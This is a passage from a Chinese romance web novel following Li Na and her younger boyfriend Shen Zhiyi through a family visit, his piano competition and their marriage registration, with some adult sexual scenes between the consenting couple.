黎娜跟着沈知逸，来到他住的房间，面积很大，一面墙壁打造成了带窗的书柜，一半哲学名著，一半是漫画书，书外面放着手办和水培绿植。
靠近中心的位置，放了一架黑色钢琴，黎娜手指放上去，随便动了几下，就弹出一段节奏优美的乐曲。
沈知逸问：“姐姐，你没有想过弹钢琴吗？”
黎娜说：“兴趣不大，无聊的时候弹
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着玩玩可以。”
她收回手指，坐到沈知逸床上，抓起被子蒙到自己脸上，闭上眼睛，深深地吸了口气。
“香香的诶，都是你身上的味道……”
沈知逸走过来，掀开她身上的被子，身体直接压下来，脑袋在她脖颈间蹭着。
“那你怎么不直接过来闻我？”
蹭着蹭着，就变成用下面蹭她了。
黎娜没好气地拍他：“你干什么呢！给我下来！”
沈知逸压着她不动：“不要。”
黎娜：“我要去洗澡了。”
沈知逸这才起来，紧跟着她：“我也要去，我们一起洗吧。”
黎娜：“行。”
明明刚开始脱了衣服，都要用手捂住裤/裆的害羞男孩，现在跟在她身后走进浴室里，关上门，一言不发就开始脱衣服，很快就把自己给剥了个一干二净。
黎娜背对着他，手伸到后面，去够内衣排扣。
“我来帮你。”
沈知逸一秒钟就解开了，而且还是单手解的。
黎娜笑他：“越来越熟练了。”
沈知逸挠脖子：“是姐姐教得好……”
还谦虚上了。
这个澡，沈知逸还算安分，没有跟她乱来。
洗完之后，黎娜没有衣服穿，沈知逸给她拿了一件白上衣，穿上稍微长了点，刚好能遮住臀部，很宽松，完全看不出身体曲线，正面有两个突起的小点。
沈知逸偷偷用眼睛看她。
黎娜躺到床上：“做吗？”
沈知逸移开视线，摇了摇头：“等回家再做吧，在这里……我怕你声音太大，会被Sofia和Eason听到的……”
黎娜忍俊不禁，漫不经心道：“那你在我嘴巴里塞点什么东西，我不就叫不出来了吗？”
沈知逸顿住：“要在嘴巴里塞什么？”
他清澈的目光看过来，落在黎娜眼睛里，那么单纯的样子，穿着一身灰色的家居服，柔顺的小卷毛微微遮住眼睛，可爱得跟只小狗一样。
黎娜心中充满了罪恶感，怎么能带坏小孩呢。
她轻吸口气：“算了，当我没说。”
沈知逸看着她：“……哦。”
深夜，黎娜蜷缩在沈知逸怀里睡着了。
隐约听到了一些声音，黎娜睁开眼睛，呼吸声放轻。
那些声音更明显了。
沈知逸也醒了，见黎娜睁着眼睛，揉揉她的脑袋。
“姐姐，你睡不着吗？”
黎娜在他怀里动了动，找到一个舒服的姿势。
“不是，你有没有听到什么奇怪的声音？”
沈知逸：“啊？”
黎娜“嘘”了一声，保持安静。
静默几秒钟，沈知逸脸红了，没有出声。
知道他听见了，黎娜微笑道：“你爸爸妈妈感情真好，五十多岁了，竟然还有性/生活。”
沈知逸：“……”
他抱紧黎娜，有些不开心：“你别听了，闭上眼睛睡觉吧。”
黎娜说：“Sofia叫的声音好大，看来你爸爸很厉害嘛。”
沈知逸低头下来，在她脖子上咬了一口，特别郁闷。
“不要想他，在这种事情上，你只能想着我，不许想别的男人，你都有我了，你怎么能这样啊……”
黎娜手摸到下面，轻轻握住。
沈知逸瞬间吸了口气，眼睛湿漉漉地望着她，有些脆弱无助。
“姐姐……”
黎娜吻住他的嘴唇，慢慢从床上起来，坐到他腿上。
94. 神明陷落
弄到凌晨，黎娜和沈知逸又回浴室洗了一次澡。
躺到床上，身体里的躁动还未平息下来，黎娜靠在床头，月光透过白纱窗帘洒到她脸上，她目光有些失焦。
沈知逸每到这时候就特别黏人，抱着她不松手，声音微哑。
“姐姐，你怎么还不睡？”
黎娜垂眸看他，用手指抚摸着自己的嘴唇，嘴角上扬。
“我在回味……”
沈知逸脸颊一红，明知故问：“回味什么？”
黎娜语气平静：“回味我忍不住要叫出来的时候，你迅速捂住我的嘴，我以为你会慢下来，但你越撞越用力，不给我时间缓冲，也不让那些感觉随着我的叫声释放出来，一直在我身体里四处撞击，我除了浑身发抖什么都做不到……”
沈知逸捂住脸，羞耻到快要听不下去了，心脏跳得特别快，手指蜷缩起来。
黎娜非常满意：“好爽，下次还要这样好不好？”
沈知逸：“……嗯。”
原来姐姐喜欢这种。
到了早上，沈知逸推开门，看到Eason在楼下准备早餐。
想到昨天晚上的声音，沈知逸垂下眸子，扶着栏杆站了一会，才下楼走过去。
Eason看向他：“娜娜还没醒吗？”
沈知逸点头。
Eason说：“你妈妈也还在睡。”
家里的两个女人都在睡觉。
Eason先做了两份早餐，端到餐桌上，招呼沈知逸过来吃饭。
“昨天晚上睡得好吗？”Eason问。
沈知逸眼睫低垂下来，声音很小：“挺好的。”
Eason笑了笑：“她们可能要睡到中午，等她们醒了，再弄东西给她们吃吧。”
沈知逸说：“好。”
吃完饭，Eason收拾好餐盘。
沈知逸在客厅里，茶几上放着几张写了一半的谱子。
他坐在柔软的地毯上，拿着铅笔，一笔一划地认真地画音符。
Eason路过时瞥了一眼，嘴角露出浅浅的笑意。
到中午，黎娜和Sofia一起下楼，吃完了两个男人准备的早餐，就互相道别回家了。
最近正值雨季，外面小雨淅淅沥沥，从早下到晚，空气中弥漫着一股潮气。
黎娜和沈知逸待在家里，除去吃饭洗澡睡觉，还有成年人类的繁衍活动，他们大多时候都在安安静静做自己的事情。
有时候没有灵感了，沈知逸就会放下铅笔，来到黎娜身旁，坐到地上，抱住她的腰。
黎娜画笔一顿，垂眸看他。
“你在干什么？”
沈知逸脸埋在她衣服里，声音闷闷的：“我在充电。”
黎娜说：“充电可不是这么充的，一般都要插到充电口里。”
沈知逸一时没听明白，过了两秒钟才反应过来，更加把脸埋进她衣服里，只露出两个发红的耳朵。
黎娜放下画笔，沾染了红色颜料的手指捏住他的耳垂，不轻不重地揉玩着。
沈知逸用脸蹭了蹭她的手，就把她的手拿下来握住，放到面前，轻轻用嘴唇蹭，亲吻她的指腹。
他小心翼翼地问：“那现在可以用你的充电口吗？”
没想到他会接梗，黎娜愣住，又笑出声来，放下手中的调色盘，低头看他：“你刚才说什么？”
沈知逸不好意思的低下脑袋，躲避黎娜的视线，闭紧嘴巴，又不吭声了。
黎娜不再为难他，站起身来，伸了个懒腰，手臂还没有放下来，腰身就被搂住了，一阵天旋地转。
等她反应过来的时候，已经在沈知逸怀里了，她的细胳膊搂在沈知逸脖子上，软得跟没有骨头一样。
黎娜笑他：“你这么着急干嘛？”
沈知逸眼里泛起湿意，轻轻地“嗯”了一声。
嗯，着急干姐姐。
一番云雨过后，黎娜把笔记本电脑放到大腿上，查看最新发来的邮件，嘴角浮现出一抹笑意。
沈知逸看到了，眉心微皱。
“你在笑什么？是不是哪个男的发信息给你了？”
他撑起身子，看向电脑屏幕。
黎娜嘴角抽搐：“什么男的，是我之前给杂志社的投稿过了，他们要在最新一册杂志上刊登我的作品，反响好的话就长期合作。”
“哦。”
沈知逸往她怀里钻。
黎娜在他脑袋上轻拍了一下：“一边儿去，我现在要回复邮件。”
沈知逸停下来，望着她。
明明刚才还跟他难舍难分，现在用完他了，就嫌他烦了。
沈知逸坐起来，什么事都不干，就这么一直看着她，试图引起她的注意，哪怕一个眼神也好啊。
可是他盯了黎娜半天，黎娜的的注意力都在邮件上，连看都没看他一眼。
他就有点不开心了，凑过去在黎娜脖子上咬了一口，不轻不重的，留下了一个浅浅的牙印，他用指腹抹去牙印上的水渍，又去看黎娜。
黎娜不搭理他，注意力还是在邮件上。
他就继续咬，咬完脖子咬胳膊，咬完胳膊咬肩膀，最后想去咬黎娜的大腿，结果被她一脚踹脸上了。
她控制着力道，其实踹得不重，只是沈知逸心里有点委屈。
“姐姐，你是不是不爱我了？”
黎娜：“……”
“又玩腻我了吗？”
黎娜：“……”
“你根本就不在乎我。”
沈知逸抓起被子，正要背过身去，气呼呼睡觉。
黎娜就说：“狗头过来。”
沈知逸动作一顿，嘴角翘起一个极其细微的弧度，下一秒又瞬间消失，不怎么情愿地过来了。
他语气幽怨：“狗头来了。”
沈知逸听话地凑过去。
黎娜把笔记本电脑放到一边，回过头来，闭上眼睛，吻住沈知逸的嘴唇，大胆探出舌尖。
沈知逸眼睛微微睁大，立刻张开嘴巴，欢迎她的进入。
潮湿，柔软，火热……
各种感觉交织在一起，冲击着他身体里极其敏/感的那根神经。
渐渐的，他眼底浮上一层水雾，显得有些朦胧。
周围的一切都被模糊了，他的整个世界，现在就只剩下眼前的黎娜。
黎娜停下来，后退一些。
沈知逸垂下眸子，抿了抿嘴，用舌尖舔掉嘴唇上面的水渍，眼睛水洗过一般，变得亮晶晶的，特别干净清澈。
黎娜看着他：“老实了？”
沈知逸低着脑袋：“……嗯。”
黎娜在他脑袋上乱揉一通：“以后少给我胡思乱想，我要是不喜欢你，早就让你滚蛋了，我不会让自己讨厌的人一直在眼前晃悠。”
沈知逸笑眼弯弯：“嗯，好。”
要他有安全感，恐怕需要姐姐每天跟他说一百遍“我爱你”。
沈知逸暂时在黎娜这边住下，每天开着黎娜的车子上学。<
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p>到学校门口，就把主驾驶还给黎娜，黎娜把车子开走，等沈知逸放学了再过来，晚上一起回家。
黎娜坐在副驾驶上感慨：“感觉我养了个儿子……”
正在开车的沈知逸看向她：“我才不是你儿子呢。”
黎娜撇嘴：“那你是什么？”
沈知逸嘴角上扬，一脸傲娇：“我想当你的老公。”
第一次从沈知逸嘴里听到“老公”这个词，黎娜头皮一阵发麻。
这个老公……
年纪是不是太小了点？
黎娜咳了一声：“你现在跟老公也差不多了吧？”
听到黎娜这样说，沈知逸心里都痒起来了，手指握紧方向盘。
“还是有差别的。”
黎娜：“什么差别？”
沈知逸：“就、就是还没有领结婚证啊，从法律上来说，我们就只是男女朋友关系。”
只是？
这小孩真是越来越贪心了。
黎娜垂眸，嘴角带笑：“结婚，你还太小了，最起码要等个三年。”
沈知逸眼里光芒闪烁：“这可是你说的，到时候你可不能耍赖。”
黎娜坏笑：“耍赖会怎么样？”
沈知逸突然变得凶巴巴的：“耍赖的话，我就把你捆起来关在家里，除了我，谁都不能看见你。”
黎娜一听就来劲了：“真的吗？我竟然还挺期待的。”
沈知逸皱眉：“啊？”
姐姐可千万不能期待啊。
还是跟他结婚，一辈子都不要分开最好了。
沈知逸说：“明天我有一个创作比赛，姐姐，你要来看我吗？”
黎娜想了一会：“几点？”
沈知逸：“上午九点钟开始。”
到比赛那天，要穿正装，沈知逸站在全身镜前，透过眼前的小卷毛看着镜子里的自己。
黎娜站在他对面，也从镜子里看着他，帮他抚平肩膀上的细小褶皱，拿起沙发上的蓝色烫金领带，挂到他脖子上，认真地系好。
沈知逸垂眸看她：“你为什么会系领带，之前给别的男人系过吗？”
黎娜把脸前的头发别到耳后，眼睫毛垂下来，投下一小片阴影，皮肤细腻看不到毛孔，红唇微启，幽幽地吐出三个字：“你猜啊。”
沈知逸抠着裤子边：“我猜不到，你之前是不是给秦钰系过啊，我记得你送过他领带，是粉红色的……”
他想到这件事情，忽然变得焦虑起来，抱着脑袋，喃喃自语。
“啊，对了，你还送过他领带，好过分，你都没有送过我领带，而且送这种东西给男生，真的特别不好……”
黎娜用手背挡着嘴唇，忍不住笑出了声，怕沈知逸不开心，又迅速止住了，用手摸摸他的脑袋，温柔地安抚他的情绪。
“不就是一条领带吗，真有那么重要？回头我送你两条行不行？”
沈知逸低头，明明很郁闷，却用着很善解人意的语气，很无所谓地说：“不用了，我现在不想要了。”
黎娜收回手，忍住笑，学着他的样子，看上去比他还要无所谓：“好，那就不送了，领带什么的还是不太适合你。”
这是在变相地说他年纪小吗？
沈知逸蔫蔫地点头：“嗯。”
不送就不送。
就算没有领带拴着他，他也会跟姐姐在一起的，他才不需要领带去证明什么，反正姐姐是喜欢他的。
沈知逸轻吸口气，平复好自己的情绪。
95. 神明陷落
沈知逸和黎娜在路上找了一个餐厅，解决掉早饭。
付款的时候，沈知逸突然从口袋里拿出一张银行卡，递给柜台。
正在从包里掏银行卡的黎娜动作一顿，抬眸看向他：“你付钱？”
“嗯。”沈知逸接过柜台小姐递来的付款机器，输入密码，付款成功，然后把机器还回去。
黎娜问他：“你什么时候办的卡？”
沈知逸说：“不是我办的，是Sofia和Eason给的，说不能总是让你破费，我是男生，应该多承担。”
黎娜深受感动，拍了拍沈知逸的肩膀，用开玩笑的语气说道：“那以后就靠你养我啦。”
她抱住沈知逸的胳膊，脸贴上去，跟猫咪似的蹭了蹭，一副小鸟依人的样子。
沈知逸实在控制不住自己的嘴角弧度，只能任由着上扬，眼睛逐渐弯成了月牙，亮晶晶的，声音很轻，很温柔地说：“好啊。”
养姐姐，就像养了一只很可爱的小动物，这种被依赖的感觉，真的好幸福哦。
今天学校对外开放，来的人很多，还有很多其他学校的人过来参加比赛。
有沈知逸和Eason在，黎娜作为选手家属，获得了一个特别好的位置，就在评委席后面，斜对着Eason。
黎娜抚平裙子坐下来，把卷发都撩到肩后，往前探身，跟Eason小声说话：“你来当评委没关系吗，别的选手会不会不高兴呀？”
Eason脸侧过来，微笑着说：“不会，学校让我来镇场子的，不参与投票。”
黎娜：“那不就是吉祥物吗？”
Eason掩唇轻笑：“嗯，差不多是这个意思。”
演奏厅内人越来越多了，黎娜把自己的两条长腿并拢，尽量往旁边倾斜，给即将落座的观众们让出一条路。
全场灯光熄灭，亮起几束光芒在演奏厅内似流星划过，照亮每个人的脸，最后汇聚成一束照向台上，穿着黑色晚礼服的主持人笑脸盈盈。
开场白结束，黎娜轻轻鼓掌。
选手们按照顺序依次上台演奏，厅内响起悠扬的钢琴声。
黎娜本以为这场比赛会很煎熬，可是看到那些充满了青春气息的稚嫩脸庞，还有他们在弹奏钢琴时那种沉浸其中，不受世间纷扰的专注，就忽然感到心潮澎湃，随着每一个音符的跳跃，牵扯着她的情绪，不由自主在他们的节奏中沉浮。
选手们演奏完，朝台下观众鞠躬行礼，步伐优雅地离开舞台。
黎娜鼓掌，身体前倾了一点，跟Eason小声说话。
“果然是音乐学院出身的，跟我这样的半吊子一点都不一样，他们就坐在那里，那气质真的跟钢琴家一模一样。”
Eason忍俊不禁：“等他们演奏完，你也可以上去即兴创作一下。”
黎娜不可置信：“我还是算了吧，就不上去丢人现眼了。”
Eason用手撑住下巴：“你弹得不是很好吗，怎么会丢人现眼？”
黎娜撇嘴。
Eason坐直了一些，手放下来，目光认真地看着台上。
“知逸要上场了。”
黎娜“嗯”了一声，坐回去。
所有灯光汇聚成一束，照向最左边的角落里。
沈知逸掀开绒布帘子，一出来就看向评委席后面，在接触到黎娜目光的时候，他停顿了三秒钟，嘴角扬起一抹笑意，隐约透着害羞，眼睛都笑得弯成了月牙的形状。
Eason以为沈知逸在对他笑，细想又觉得不对，回头看向身后的黎娜。
只见黎娜看着沈知逸的方向，眉目舒展，笑容随和，似在无意中为他打气。
沈知逸望着黎娜，抿住嘴唇，又松开来，有一个极其细微的嘟嘴动作，稍纵即逝，似乎是在隔空索吻。
黎娜愣了一下，忽然笑出声。
沈知逸也笑了，收回目光，走到舞台中央，慢慢坐下来，等主持人介绍完他的背景之后，他手指落到琴键上，眼神中稚气不见，只剩下少年诚挚的坚定。
音符在他灵活的指尖跳跃绽放，似小溪顺着山崖流淌下来，平静之中，有一丝执念隐藏其中，蠢蠢欲动……
黎娜发现，之前有很多挤过来的女学生在拿出手机录视频，之前其他选手商场的时候，她们都兴致缺缺。
看来她的小男朋友在学校里还挺受欢迎的呢。
黎娜也拿出手机，跟着她们一起录视频。
全场寂静无声，一片漆黑，只有那束光所在的地方。
少年低着头，琴键上的手指边缘散发着白光，小卷毛在光芒照耀下泛起银色，周身有一圈浅浅的光晕，有一种不真实的透明感。
别的女生都在惊呼沈知逸弹钢琴的样子好帅，黎娜在听沈知逸谱写的曲子。
听他平静下的暗潮汹涌，听他在将全场观众情绪牵制到最高点时的戛然而止，又从沉默中爆发，在余韵中再一次将情绪推至高/潮，慢慢沉寂下去，一段温柔又缱绻的结尾，似睡前爱人在耳边呢喃。
不知道为什么，黎娜想到以前自己一个人在美国昏暗的房子里，打开那个从国内寄来的盒子，里面有各个品种羊毛毡小狗。
还有那个路面结冰的除夕夜，沈知逸骑着自行车出现在她的后视镜里，他送出的粉色水晶手链，他手臂上用指甲刀刮出的伤痕，他用身体挡住她的车门，不管她怎么用车门砸他，他哭着求她回家……
黎娜眼眶一热，用手捂住脸，肩后的卷发垂落到前面来，盖住了半张脸，她肩膀微微颤抖。
离开舞台后，沈知逸在后台跟同学打了声招呼，就溜到观众席去了。为了让舞台效果更好，上台前有化妆师在他们脸上扑了点闪粉。
他脸上亮晶晶的，眼睛也亮晶晶的，来到观众席，怕打扰到同学看演奏会就弯下腰来，尽量贴边走，不让自己碰到女同学的腿，低着脑袋，声音特别小。
“麻烦让一下，我要过去……”
女同学看到沈知逸，瞬间后退，给他让出一条路来，惊讶得张大了嘴巴，却没有发出一丝声音。
沈知逸走过去，西装裤边缘在女生腿上轻蹭了一下，没有实感，却差点让她浑身气血涌向头顶，几乎要晕厥过去。
这个著名钢琴家之子，著名舞剧演员之子，这个钢琴天才，超级大帅逼……刚才距离她好近好近！
沈知逸来到黎娜身旁，看到她旁边坐了一个女生，忽然有些为难，朝周围看了一圈，发现“吉祥物”Eason旁边有个座位，挠了挠脖子。
“那个……可以跟你换个位置吗？”沈知逸问。
看到是沈知逸，女生立刻站起来：“好哇，那我要换到哪里？”
沈知逸指向Eason旁边的座位。
女生：“……”
为什么要坐在冷面教授旁边？
Eason回过头来，温柔一笑：“那这位同学你坐过来吧。”
女生惊恐拒绝：“不用了不用了，您那边是评委席……”
Eason笑容不变：“坐过来吧，感受一下当评委的感觉。”
女生欲哭无泪，不情不愿地坐到前面去了，在Eason旁边，她连动都不敢动。
沈知逸如愿以偿地坐下来，紧挨着黎娜，低头笑了笑，抬眸朝她看过去，瞳仁微颤。
只见黎娜眼眶泛红，鼻尖也红红的，目视前方，面无表情。
她略微低下头，卷发垂下来盖住了大半张脸，只能看到她低垂的长睫毛和挺翘的鼻尖。
她轻轻地吸了口气，又沉沉地吐出来，反复了几次，情绪才勉强平静下来。
沈知逸看着她，放在腿上的手指不自觉抠紧，轻声开口。
“娜、娜娜，你怎么了？”
第一次试探性叫她娜娜，还有点不太习惯。
黎娜愣了一愣，眼眶还是红的，嘴角却翘起一抹弧度，把手放到沈知逸的手背上，手指从他指缝中穿进去扣紧，脸上笑意消失，嘴唇有些发颤。
“感觉……我以前对你不好。”
“真的不好，总是让你难过。”
“我现在一闭上眼睛，就好像能看到你小时候哭泣的样子，真的很对不起你，让你受了那么多的委屈，
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以后再也不会了。”
她语气温柔，看他的时候，含泪的眼睛里充满了柔情。
沈知逸抿住嘴唇，眼睫垂下来，眼底浮上一层泪水，多到眼眶都盛不住，大滴地涌出来。
黎娜轻轻擦去他脸上的泪水。
他起身张开双臂，将黎娜抱进怀里。
周围传来一阵吸气的声音。
黎娜错愕了一瞬，听见沈知逸在她耳边小声说话。
“我不怪你，我喜欢你，真的特别特别喜欢你，在这个世界上，我最喜欢的就是你了。”
黎娜目光柔和下来，回抱住他。
主持人在台上喊：“沈知逸，沈知逸同学在吗？”
前面评委席尽量降低自己存在感的Eason轻咳了一声，侧过脸来提醒道：“先上台领奖吧，主持人嗓子都要喊哑了。”
察觉到周围同学们投来的视线，沈知逸如梦初醒，迅速松开黎娜，擦了把眼泪，站起身来正准备上台，又突然回过身来，众目睽睽之下，低头在黎娜唇上亲了一口，就头也不回地走了。
女同学们低声尖叫。
男同学们笑得像猴子。
黎娜用指腹摩挲嘴唇，笑意似有似无。
沈知逸来到舞台上，全场寂静，所有灯光聚焦到他身上。
对于这一天的记忆，黎娜已经有些模糊了。
那些官方的客套话结束之后，她只记得沈知逸这几句话。
“这首曲子是送给一个人的。”
“她是我生命中最重要的人。”
“不得不承认，我真的很贪心，我害怕在将来身体化成灰烬之后，我的感情也会随之消失，就好像从来没有在这个世界上存在过，所以我要把它写出来。在我的身体腐烂之后，我会在这首曲子里继续爱你的，姐姐。”
毫不避讳自己的感情，他站在舞台上看着黎娜，喊黎娜姐姐。
全场尖叫。
黎娜哑然失笑。
主持人笑道：“是的，就像你这首曲子下面的介绍词：‘肉身腐烂之后，爱意炽热滚烫’，不管多久以后，只要有人弹奏你的曲子，你们的佳话就永远不会消失！”
到除夕夜那天，雪花纷飞。
黎娜和沈知逸在黎父那里吃完年夜饭，没有开车，带着些许的醉意在街上互相搀扶游荡。
那个漆黑的小巷子不见了，繁荣的商业大厦拔地而起，再往前走，就到了那家甜品店，还是跟以前一样。
沈知逸牵着黎娜的手，指向那个甜品店，眼睛亮晶晶的。
“姐姐，要不要过去看看？”
黎娜用指尖蹭他手心：“好。”
像以前那样推开门，上面的门铃发出清脆的“叮铃”声，黎娜和沈知逸走进去。
女店员转过身来，面带微笑：“你好，需要什么？”
沈知逸看向黎娜。
黎娜回忆着：“那就草莓蛋糕吧。”
他们拿着一盒草莓蛋糕离开了甜品店，到外面街上，用自己的勺子把蛋糕喂进对方嘴里。
空气中似乎弥漫着粉红色的泡泡。
黎娜把蛋糕盒子扔进垃圾桶里，一回头，就看到沈知逸扑进雪里，一动不动，声音闷闷地从雪里传出来。
“姐姐，我晕倒了……”
黎娜笑得不行，也扑进雪里，把沈知逸翻过来，趴在他身上，用袖子擦掉他脸上的雪花，低头吻上去。
沈知逸愣了几秒，嘴角上扬，搂住她的腰，慢慢张开了嘴巴。
黎娜舔了一下，就退开来，手臂撑在他两侧，卷发垂下来，整张脸在阴影里，只有眼睛闪烁着细微的光芒。
“小狗都吃完草莓蛋糕了，怎么会晕倒呢，嗯？”
沈知逸脸微红，移开视线，小声嘟囔着：“我想让你抱抱我嘛。”
黎娜一脸高冷：“我才不抱。”
沈知逸委屈巴巴地望着她，心里难过极了，搂住她的腰，一个翻身把她压到下面，目光灼灼地看了她许久，嘴唇覆上去。
黎娜望着夜空。
雪花落下来，飘进她眼睛里，渐渐消融。
96. 小狗家族
在大三的下半个学期，同级的同学们都在忙着实习，或者是准备去国外进一步深造。
沈知逸在过完二十二岁生日的第二天，就抱着户口本跪在床上，掀开被子，抓住沉睡中黎娜的肩膀不停地摇晃，用脑袋拱她。
“姐姐，起床了。”
“快点起来，九点多了，民政局已经开始上班了，姐姐……”
黎娜皱了皱眉，睁开眼睛，目光还是没有焦距的，过了好一会才聚焦到沈知逸脸上，伸手推开他的脑袋。
“你想让我死啊。”
他妈的昨天晚上，沈知逸这个狗东西因为今天要领证，兴奋得睡不着觉，非要抱着她，在她耳边说些肉麻的悄悄话，说着说着就开始动手动脚，最后都趴到她身上去了，还说什么累了就能睡着了。
他最后到底睡没睡着，黎娜是不知道，反正她只睡了五个小时，现在整个人处于灵魂出窍的状态。
黎娜闭上眼睛：“今天是星期一吧，你要去学校，快去吧，别因为这点事耽误了学业，证什么时候领都可以，着什么急。”
沈知逸不可置信的瞪大眼睛，难过极了，委屈地望着她。
“没关系的，我已经请好假了，还有……什么叫‘这点事’啊？”
知道不知道他掰着手指头，盼星星盼月亮，期待了多久，才终于等到二十二岁，可以领证的这一天啊，姐姐怎么可以躺在床上不起来，好难过，好生气。
黎娜在半睡半醒中，被沈知逸从床上抱起来，去卫生间里，放到他早已准备好的椅子上，打开水龙头，调好水温，打湿毛巾开始擦黎娜的脸。
毛巾热乎乎的，很舒服，黎娜还是挺享受的，但是擦完脸，她嘴巴就被沈知逸硬生生扒开，牙刷伸进她嘴里刷来刷去，白色的泡沫顺着她的下巴往下掉。
她睁开眼，怒目瞪向沈知逸。
沈知逸见她醒了，也丝毫不因为自己的行为感到抱歉，而是用一双亮晶晶的笑眼望着她，低头在她沾满牙膏泡沫的嘴唇上亲了一下，用很轻很温柔的声音说：“不要再睡了嘛，好不好，姐姐？”
他眨了眨眼睛，用充满期待和喜悦的眼睛对着黎娜发射小星星，黎娜跟他对视了几秒，败下阵来，抢走他手里的牙刷，一脚把他踹出卫生间。
“我自己来！等我十分钟。”
“好的！快一点！”
十分钟后，黎娜收拾好自己出来。
沈知逸看到她，眼睛一亮，立刻撅着嘴扑过来，却被她用手按住脸，一把推开，把他脑袋都推向了一边，脖子都要扭了。
沈知逸一边揉脖子，一边委屈巴巴地看着她。
黎娜甩了甩手：“快点吧，别浪费时间，民政局还在等着我们。”
听到她这样说，沈知逸难过的小情绪全部消失不见了，瞬间喜笑颜开。
吃完饭，沈知逸开车拉着她去民政局，先在窗口那边做了登记，然后去等待区坐着。
黎娜从包里拿出一盒气垫和口红，简单遮了下黑眼圈，薄薄地涂了一层口红，让脸上稍微有点气色。
沈知逸坐在旁边看她，安安静静的没有说话。
她收拾完自己，发现沈知逸眼睛下面也有点乌青，看来昨天晚上也睡得不多。
黎娜重新打开气垫：“脑袋过来。”
沈知逸立刻凑过去，笑着问她：“你要干什么啊？”
黎娜说：“闭上眼睛。”
沈知逸就乖乖闭上眼睛，浓密的长睫毛垂下来，嘴角上扬。
黎娜用粉饼狂拍他的眼睛，他吓了一跳，迅速后退，又被黎娜锁住脖子重新推到前面来。
“你黑眼圈好重，我给你遮一下，你别乱动。”
沈知逸“哦”了一声。
姐姐手法好粗暴哦。
拍照的时候，摄影师看到一脸稚嫩的沈知逸，还愣了一下，问黎娜：“确定这小孩满二十二岁了吗？怎么看起来跟高中生一样……”
沈知逸上扬的嘴角瞬间落下来，脸色黑如锅底。
黎娜忍住笑，轻咳一声：“嗯，昨天刚过完二十二岁生日。”
摄影师再次愣住，看向脸色阴沉的沈知逸，差点没忍住笑出来，心想这小孩可真着急啊，一过完生日就来领证了。
沈知逸突然起身，朝这个摄影师走过去，目光不善。
摄影师吓了一跳：“你干嘛！”
这小孩的眼神，感觉要过来暴打他一顿。
沈知逸气呼呼的：“你叫什么名字，我要投诉你。”
黎娜笑得不行：“哎呀，你干什么啊，快点坐回来！还拍不拍照片了！”
沈知逸瞪着他，但还是很听黎娜的话，不情不愿地坐回来了，调整好自己的情绪，露出笑脸，脑袋略微歪向黎娜，看向摄像头。
“咔嚓”的一声，黎娜和沈知逸视野内一片全白。
摄影师非常满意：“这是我拍过最好看的结婚照了，男的帅，女的美！一看就移不开眼了！”
沈知逸才不吃他这一套，临走前还一直在瞪他。
其实被说年纪小，并不是他生气的主要原因。
他在意的是，摄影师只说了他像高中生，并没有说姐姐也像高中生。他就会很害怕姐姐胡思乱想，觉得自己年纪比他太大了啊什么的，会不开心，可能还会陷入年龄焦虑，他生气的点是这个。
不过看姐姐好像并不在意的样子，他也稍微放心了一点。
领完结婚证出来，沈知逸把两个小红本都拿在手里看，眼睛睁得大大的，眨都不眨一下。
看他这样，黎娜自觉走向驾驶位，拉开车门坐进去，给沈知逸和两本结婚证留出更多的相处时间。
黎娜系好安全带，听见沈知逸说：“姐姐，你好漂亮。”
黎娜愣住，眉尾微挑。
沈知逸看向她，眼睛亮亮的：“真的，特别漂亮，这个世界上怎么能有人漂亮成这样呢，都有点不真实了，像只能在梦里看到一样……”
这种夸奖在黎娜眼里就跟吃饭喝水一样平常，但是从沈知逸嘴里听到，还是忍不住笑了起来，点头附和。
“好，我知道了，你只喜欢我的脸。”
一听到黎娜这样说，沈知逸就着急了。
“不是的，不是只喜欢你的脸，我喜欢你的全部，不管是哪里我都喜欢。”
黎娜从包里拿出手机，随口说：“好。”
感觉她还是不信，沈知逸转过身来握住她的手，认真地看着她，有些执拗：“就是喜欢你。”
黎娜：“嗯。”
沈知逸直接上手抱住黎娜的脑袋，在她脸上狂亲，边亲边说：“喜欢，喜欢，真的特别喜欢姐姐……”
黎娜推开他：“有完没完，亲我一脸口水。”
沈知逸“哦”了一声，用袖子帮她轻轻擦掉。
黎娜伸手：“结婚证给我。”
沈知逸还是“哦”，拿起两本结婚证，双手递给黎娜。
黎娜拿着手机，对准结婚证拍了张照片，然后勾住沈知逸的脖子，直接把他脑袋勾过来，命令道：“给姐笑一个。”
“好啊。”
沈知逸一笑，露出八颗洁白整齐的牙齿，眼睛弯弯的。
拍完照，把利用完的沈知逸丢到一边，黎娜开始编辑朋友圈，点击发布。
黎娜：【嘿嘿，吃到嫩草了。】
配了两张图片，第一张是结婚证，第二张是她和沈知逸的合照。
开车回家的路上，黎娜手机响个不停，让沈知逸看是谁发来的消息。
沈知逸拿到黎娜的手机，激动到手指都在发抖。
以前姐姐从来不让他碰手机的，真的很不公平，他的手机，姐姐就可以随便看。
除了一些同事私发来恭喜，就是朋友圈那些点赞评论的人。
黎父点赞评论：【可算是结婚了，晚上我终于能睡个好觉咯。】
张阿姨点赞评论：【这照片拍得真好看。】
Eason点赞评论：【看知逸笑得多开心啊，梦想终于成真了。】
Sofia点赞评论：【太开心了，终于等到了你们的好消息了。】
温琳点赞评论：【你也知道自己是老牛哇。】
秦钰评论：【婚礼就不用邀请我了，我没空。[裂开][裂开]】
别人都点赞了，只有秦钰没点赞，沈知逸得意得不行，用黎娜的号回复他：【好的，不邀请你。】
秦钰秒回：【你这就太伤我的心了，不安慰我一下吗？】
沈知逸：【你有病。】
秦钰：【？】
黎娜瞥他一眼：“让你帮我看看是谁发的消息，你可别给我乱回啊。”
沈知逸乖巧地点头：“嗯，我没乱回。”
就是骂了一个老男人罢了，怎么能叫乱回呢？
领完结婚证，黎娜开始筹备婚礼的事情。
刚开始她有使不完的劲，而且她一直在艺术行业，对于这种有关美学的策划都充满了热情，可这种热情持续了不到一个星期，就被一些繁琐的小细节给消耗掉了。
她一甩手，就全部丢给了婚礼策划，出的方案没一个她能看上的。
沈知逸提议：“要不让我来试试吧？”
黎娜问：“试什么？”
沈知逸说：“就是婚礼啊，让我来策划吧，我想策划。”
黎娜皱眉：“你还要上学吧，哪有空弄这个？”
沈知逸坚持道：“我有空的，真的有空，就让我来吧。”
就这样，婚礼策划交给了沈知逸，Sofia和Eason也帮着一起出主意。
最后婚礼举行的地方，是在瑞士的提契诺州，在阿尔卑斯山附近，坐落着由石头构成的房屋，瀑布从山上流淌下来，小溪上架着高桥，放眼望去是草原和山林，雾气缭绕，如同故事书里的童话世界。
